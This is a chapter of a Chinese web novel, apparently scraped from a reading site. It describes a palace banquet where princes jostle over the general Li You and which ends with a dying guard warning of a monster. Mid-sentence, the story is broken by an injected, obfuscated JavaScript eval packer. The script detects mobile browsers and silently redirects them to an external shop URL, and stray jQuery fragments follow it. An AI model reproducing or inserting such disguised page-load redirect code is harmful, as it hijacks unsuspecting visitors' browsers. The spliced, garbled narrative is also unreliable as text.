27.宴席

作品:《陛下的狐狸精死遁了

    当太子端着酒杯过来的时候,李攸第一次觉得太子如此可爱。


    这样的宴席按理说太子只需要端坐着等大臣们一一敬酒便罢了,如今却四处打交道,看上去是太子亲和,实则落到一众人眼里却成了心虚。


    而太子落到李攸跟前的这杯酒,意味就更多了。


    众目睽睽之下,太子不管是什么意图,李攸都不能拒绝这杯酒。


    起身之际,太子看着一旁的齐怀赟笑道:“早就听闻六弟与洄之交好,如今看来此言倒是不虚。”


    闻言齐怀赟走到李攸身边,并未否定太子的言论,却端起了李攸面前的酒杯回敬太子:“方才见太子事忙,未敢上前叨扰,如今借着李将军的光,做弟弟的敬太子一杯。”


    看似齐怀赟这个被边缘化的人走不到人群中心,便是除夕夜,他这个皇子也难以接近处于权力中心的太子。


    实则是帮李攸挡了一杯酒。


    太子大笑着:“你啊你,一贯风趣。”


    他指了指齐怀赟,好像并没有发现异样,端着酒杯与齐怀赟一碰。


    经过齐怀赟这么打岔,李攸的这杯酒便被搁置了,很快有其他大臣来与太子言话,齐怀赟不动声色地退出了人群。


    李攸如今代表的是李家,齐怀赟此时出头,难保不会被有心人觉得是在与李家拉进关系。


    李攸心中感激,却又不安心。


    齐怀赟声解释:“人多眼杂,喝酒事小。”


    席位之上,皇帝的视线堪堪移到别处,面上虽看不出有什么不同,落下的肩膀展现了他方才提起又下去的气息。


    皇帝不希望李攸与太子多亲近。


    皇子可以掌控整个朝局,也可以掌控兵防,但是不能既掌握朝局又手握兵权,只要皇帝在位一日,就是再偏心,也会有所保留,也要稳坐皇位之上,不允许任何人撼动。


    皇帝不会轻易动自己的儿子,但是可以动外人。


    李攸低声道了句谢。


    齐怀赟笑:“客气。”


    皇帝敲了敲桌子,还在热闹的众人顿时噤了声,坐回自己的位置,皇帝提杯。


    他没什么力气,宴会开始前喝了碗参汤吊着精神,是喝不了酒的,杯子里是葡萄汁水。


    自然,他话也说不了几句。


    可他受不了自己被晾着的感觉,看了会儿热闹便心里不痛快,得给众人提个醒,他现在还是皇帝,还手握着整个江山,他才是大俞至高无上的统治者。


    “诸爱卿。”三个字里只有前两个字带点力气,第三个字就弱下去了,他自觉无力,可所有人的视线都落在自己身上,他又不想露怯,硬撑着缩略了自己原本想好的长篇大论,说,“这一年劳诸位费心费力,才得大俞如今的太平,朕敬诸位。”


    此话一出,下面哗啦啦全都站了起来,道“惶恐”的,说“陛下之功臣不敢冒领”的,鞠躬擦汗的,战战兢兢的。


    李攸低着头没吭声,却听见身后一声笑。


    在一众恭维声里,笑声并不大,或许是因为太近,那声十分清晰地传进了李攸的耳朵。


    李攸左右看了看,侍卫也好,不远处的李琮也好,没人注意到这边的异样。


    这时齐怀赟的声音再次贴了上来:“小将军想来是十分不喜欢这种场合的。”


    李攸确实不喜欢,虚与委蛇的笑看得人浑身鸡皮疙瘩,可为官数载,却也不至于将不喜欢搁置在面上。


    李攸想说“殿下多虑了”,结果话还没出口,齐怀赟先行说道:“我也不喜欢看,可惜不得不看,便是再边缘,这样的场合一样也落不下。”


    李攸想了想,那齐怀赟比他惨。


    李攸多年戍守边疆,偶尔回来才会被拉着露个面,忍上几次倒也算不得什么。


    皇帝言话两句便叫歌舞继续,大臣们虽还在互相敬酒,却不如之前那样随意了。


    都是老狐狸,皇帝的脸色还是看得懂几分的。


    酒过三巡,宴会过半,太医再多劝阻皇帝也沾了两口酒,这会儿已经回了殿中休息,此处便由太子主持。


    太子本就有意亲近李攸,可中间横了个李琮,又不好当面挑拨,就只好借着其他人当桥梁,再次一杯一杯过来。


    太子思虑颇多,已经摊在明面上和李琮一伙的三皇子就没这么多顾虑了。


    在太子被宁晟哭唧唧的表情拦住的时候,齐怀霁已经站在了李攸面前。


    意外地,李琮脸色不太好看。


    酒杯停在李攸面前,齐怀霁举着,笑道:“将军保家卫国,劳苦功高,听闻将军海量,可惜我酒量一般,不能陪将军喝个尽兴了。这杯我敬你。”


    今天不知道怎么回事,一个两个来敬酒。


    金色雕花酒杯里盛着的酒清澈见底,酒香醇厚。


    李攸不善饮酒,两三杯就醉,但他很能忍,便是醉了也很少有人能看出来,所以很少有人知道李攸的酒量多少。


    从前宴席有过不长眼的纨绔,纠集了一群人一直找各种借口与李攸喝酒,最后一众纨绔被抬了回去,因为丢脸还被罚跪家祠,倒是李攸没事人似的回到了侯府,埋头睡了两天。


    可睡觉这事不会闹得尽人皆知,反倒是因为喝到了一众纨绔而成名,获得个“酒神”一样的称号。


    乌俫说李攸是个犟种,死倔,倔到最后落到别人口里反而成了一项拍手称奇的绝活。


    齐怀霁显然知道李攸这种“绝活”,还当作一种夸奖,大庭广众说出来与李攸套近乎。


    李攸接过酒杯正要客气几句,一只手又来故技重施:“方才见三哥事忙,未敢上前叨扰,如今借着李将军的光,做弟弟的敬三哥一杯。”


    果然是故技重施,连话术都没变。


    齐怀霁的眼皮明显抽搐了两下,看来之前太子过来时的动静他注意过了,并且听过了齐怀赟这番说辞。


    如今说辞用在了自己的身上,齐怀霁下意识就要说“你啊你,一贯风趣。”


    “你”字出了口,齐怀霁才反应过来,第一时间的笑容有些尴尬,但很快就恢复过来,低头抬眼间已恢复寻常,拍了拍齐怀赟的肩膀,“等哪日得空,来三哥府上一趟,三哥最近得了好多字画,你一定喜欢。”


    自老五入了宗正寺,齐怀赟便迷上了字画与吃食,甚少参与朝廷中事情,看起来是打算做个闲散富贵王爷。


    齐怀赟闻言自然应下,很高兴地与齐怀霁碰了碰杯子。


    酒水入腹,齐怀霁便打算再拿个杯子,满上酒水递给李攸,可在旁边看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635896|187096||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了许久的太子自然不会给齐怀霁第二次机会。


    太子不知何时已经到了齐怀霁身边,道:“三弟,前些日子天牢遭灾,尤其是地牢里坍塌了大半,听说你主动请命负责善后,这活可是辛苦,三弟有心了。”


    没油水又费力的事情,别说皇子了,就是一般的官员都不愿意督办,如今治粟内史的位置尚且空悬,这善后保不齐还要自己掏腰包。


    太子意味深长地拍着齐怀霁的肩膀。


    齐怀霁恍若未觉,笑道:“弟弟资质愚笨,就只能做一点小事来为父皇和太子分忧了,太子可不能嘲笑我啊。”


    此话乍一听是自谦,仔细一想就变了味道,似乎在说皇帝为了太子打压其他儿子,只给分配一些吃力不讨好的苦差事。


    是皇帝的打压,也是太子的不容人。


    原本是太子对三皇子的试探,一下子就成了被迫害的证据。


    太子看了三皇子一眼,很快朗声笑道:“三弟辛苦,父皇的差事,为兄不好插手,涉及钱财之事便由太子府出罢,就是劳累三弟操心了。”


    说完很快有其他大臣打圆场,聊起了今秋粮食颇丰之类,开始了亘古不变的吹嘘。


    便是真的皇帝和太子欺压三皇子,在场的大臣们也不会不要命地给三皇子出头,三皇子也没指望因为这点事就赢得这些墙头草们的支持。


    今日宫里不知道熏得什么香,闻得人头脑发昏。


    热闹结束后,李攸的身边短暂地留了空档,他想拿起桌前的水喝一口,却发现杯子不知落到了什么地方,转头瞧见本属于自己桌上的杯盏落到了齐怀赟的桌子上。


    齐怀赟不知什么时候已经回到了自己的席位上,只是脸色有些红。


    齐怀赟的席位在对面,撑着头不知道是热的,还是喝了酒的缘故,看着似乎有些不舒服。


    李攸不知道齐怀赟的酒量,见此便当他酒量很差了,如此差还帮他圆场,李攸心中有愧,可众目睽睽里他也不好做过多关心的事情,这里也非露天的场景,乌俫不知道跑到了什么地方。


    人头攒动,李攸想看齐怀赟的情况还要从夹缝里找机会,抻了两次脖子就被李琮提点:“寻什么呢?”


    “看看今天的宴席会不会安安稳稳地结束。”侍从又送来了一个杯子,李攸不紧不慢地给自己倒了杯茶。


    桌子上的菜肴虽精致,可惜落在这里注定成不了主角。


    碗里还有一块凉了的鱼肉,李攸盯着看了一会儿,最终还是拿起了筷子。


    腥。


    他不喜欢吃鱼。


    或许是和乌俫待久了,秽鸦又与乌鸦同本同源,李攸染上了些许乌鸦的特性,比如,乌鸦嘴。


    “砰”的一声,殿门突然被人撞开,一个侍卫模样的人摔在了大殿之上,鲜血染了一身。


    他一手向前用力想要抓点什么,可他的力气最后都用在撞门上。


    大臣见他这样,避之唯恐不及,舞姬更是尖叫着跑开。


    太子站了出来:“慌什么,来人!叫御医!”


    可那一身伤的侍卫别说等御医了,甚至没等传话的内侍出门,仰着头艰难地说:“妖怪,有妖怪,妖……来……来了……”


    最后一个字说了一半便咽了气。